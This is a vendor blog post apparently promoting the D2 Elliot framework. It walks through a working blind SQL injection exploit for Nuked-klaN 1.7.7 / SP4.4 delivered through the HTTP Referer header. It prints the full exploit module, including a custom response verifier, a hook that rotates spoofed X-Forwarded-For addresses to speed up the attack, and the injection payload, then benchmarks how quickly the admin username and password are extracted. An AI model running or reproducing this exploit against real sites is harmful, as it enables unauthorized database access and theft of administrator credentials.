SQL Injection exploitation with D2 Elliot: the tricky case

As a follow-up from the previous article on SQL injections, we will try here to exploit a trickier case. For the sake of the article we will rewrite an old exploit with a convoluted workflow. The file being quite long, let's just take a look at the vulnerability description:


Nuked-klaN suffers from a vulnerability due to HTTP_REFERER, which is not
correctly  filtered  before being inserted in  nuked_stats_visitor table.

If HTTP headers are not addslashes()'d by PHP,  it could lead to a INSERT
SQL injection.

In function view_referer() (visits.php),  referers are extracted from the 
database to perform an other SQL query, without being secured in between.
This leads to a blind SQL injection.

[...

In details, the vulnerability consists of fullfilling the following requirements:

1) Perform a blind SQL injection. For each test, to verify that the query returned true, we need to build a specific pattern.

2) Change X-Forwarded-For header in between each request. The IP we submit through this header will be passed to gethostbyaddr() Therefore, to speed up the injection, we need to submit valid IP addresses.

We're going to try and see how the same exploit can be done with Elliot.

Blind SQL Injection

As we all know, blind SQL injections consist in a set of tests (is the first letter equal to 'a', is the first letter equal to 'b', and so on). The common method is to use a static text pattern in the HTTP response to determine whether each test returns true or false. In this case nevertheless, it is not possible, as every test result will be displayed on the page, in a particular fashion. The result is displayed like this:


<a href="[INJECTION STRING]" ...>...</a></td><td ...>[X] ([Y]%)</td>

Where [X] and [Y] are numbers. If these numbers are equal to zero, it means that our test returned false, true otherwise. We can therefore build a regular expression specific to each injection, to check the result of each test. While common tools often only propose static text as injection verifiers, Elliot contains a whole range of other options.

Elliot works with objects called "verifiers". These objects are responsible of determining if an injection was successful or not. We design our SQL test like this:


import re
from core.helpers.sqli.core.parsers import verifier


class NKVerifier(verifier.Verifier):
    def verify(self, injection):
        string = re.escape(injection.string)
        regex = ('<a href="[^<]+%s[^<]+".*?>.*?</a></td>[ \n\t\r]*'
                 '<td[^>]+>[1-9][0-9]* \\([0-9\.]+%%\\)</td>') % string

        # True if the numbers are >0, False otherwise
        return re.search(regex, injection.response.data_str) is not None

Dynamically changing the header

Python proposes an ipaddress module, which makes things fairly easy to iterate through a given range. We are going to add a hook_request() method to our exploit. This method will be called every time a request is about to be sent.


import ipaddress


class MyExploit(xSQLi):
    [...]
    # We know this base IP, along with the next 1000 others, supports a reverse DNS query
    spoofed_ip = ipaddress.ip_address('X.Y.1.1')

    def hook_request(self, request):
        """The spoofed IP needs to be updated every time we issue a request."""

        request.add_header('X-Forwarded-For', str(self.spoofed_ip))
        self.spoofed_ip += 1
        
        return request

The exploit

The final exploit therefore looks like this:


import re
import datetime
import ipaddress

from core.templates.exploits import *
from core.helpers.sqli.core.parsers import verifier
from core.helpers.sqli.core.parsers import pattern


class NKVerifier(verifier.Verifier):
    def verify(self, injection):
        string = re.escape(injection.string)
        regex = ('<a href="[^<]+%s[^<]+".*?>.*?</a></td>[ \n\t\r]*'
                 '<td[^>]+>[1-9][0-9]* \\([0-9\.]+%%\\)</td>') % string

        return re.search(regex, injection.response.data_str) is not None


class MyExploit(xSQLi):
    
    uid = 'E-350'

    _extra_description = {
        'name': 'Nuked-klaN 1.7.7 / SP4.4 SQL injection',
        'creation': '2014/01/22',
        'lastupdate': '2014/01/22',
        'description': 'Nuked-klaN <= 1.7.7 / <= SP4.4 SQL Injection via Referer header',
        'comment': '',
        'author': ('',),
        'vendor': 'Nuked-Klan',
        'zeroday': False,
        'published': '',
        'references': ('http://www.exploit-db.com/exploits/6749/', ),
        'cve': (),
        'vulnid': ('',),
        'platform': Platform.All,
        'application': 'Nuked-Klan',
        'version': ('1.7.7', 'SP4.4'),
        'module': '',
        'requirements': {},
        'payload': Payload.SQL,
        'family': Family.SQLi,
        'googledork': '',
        'stealth': Stealth.Stealth,
    }

    spoofed_ip = ipaddress.ip_address('X.Y.1.1')

    today = datetime.date.today()
    vuln_page_default = (
          'index.php?file=Stats&nuked_nude=visits&op=view_referer&oyear=%d&omonth=%d&oday=%d'
          % (today.year, today.month, today.day))

    def exploit(self):
        # The SQL injection is present in the Referer HTTP header
        # We mark it by the <SQL> tag, and set our previously created verifier
        return {
            'url': self.parameters.vuln_page,
            'headers': {'Referer': "%s' OR 1=1 <SQL> AND 'A'='A" % pattern.default.string()},
            'verifiers': {'success': NKVerifier()}
        }

    def hook_request(self, request):
        """The spoofed IP needs to be updated every time we issue a request."""

        request.add_header('X-Forwarded-For', str(self.spoofed_ip))
        self.spoofed_ip += 1

        return request

    # DBMS caracteristics; since quotes aren't escaped
    # We don't need to encode strings
    dbms_default = 'MySQL'
    dbms_args_default = {'encoding': 'singlequote'}

    # The injection method
    method_default = 'BinaryTestMethod'

The 1400 lines of code present in the original exploit have been replaced by less than 50. The exploit efficiency benefits from all the sugar provided by the framework: multithreading, dynamic charset to adapt character probabilities as the results arrive. Also, rows are fetched in a custom way so that the same values aren't fetched multiple times.

Benchmark

Despite that the code is cleaner, we may want to see by ourselves if the exploit is faster. As an example on the same target, with the same test conditions, it takes ~60s to fetch the admin username and password, versus ~24s with this exploit.

Conclusion

This exploitation is now over. This hopefully gives a good grasp of what Elliot can do; and how fast it can do it. Stay posted on twitter


Back to News

Share :   Facebook   Twitter   Google+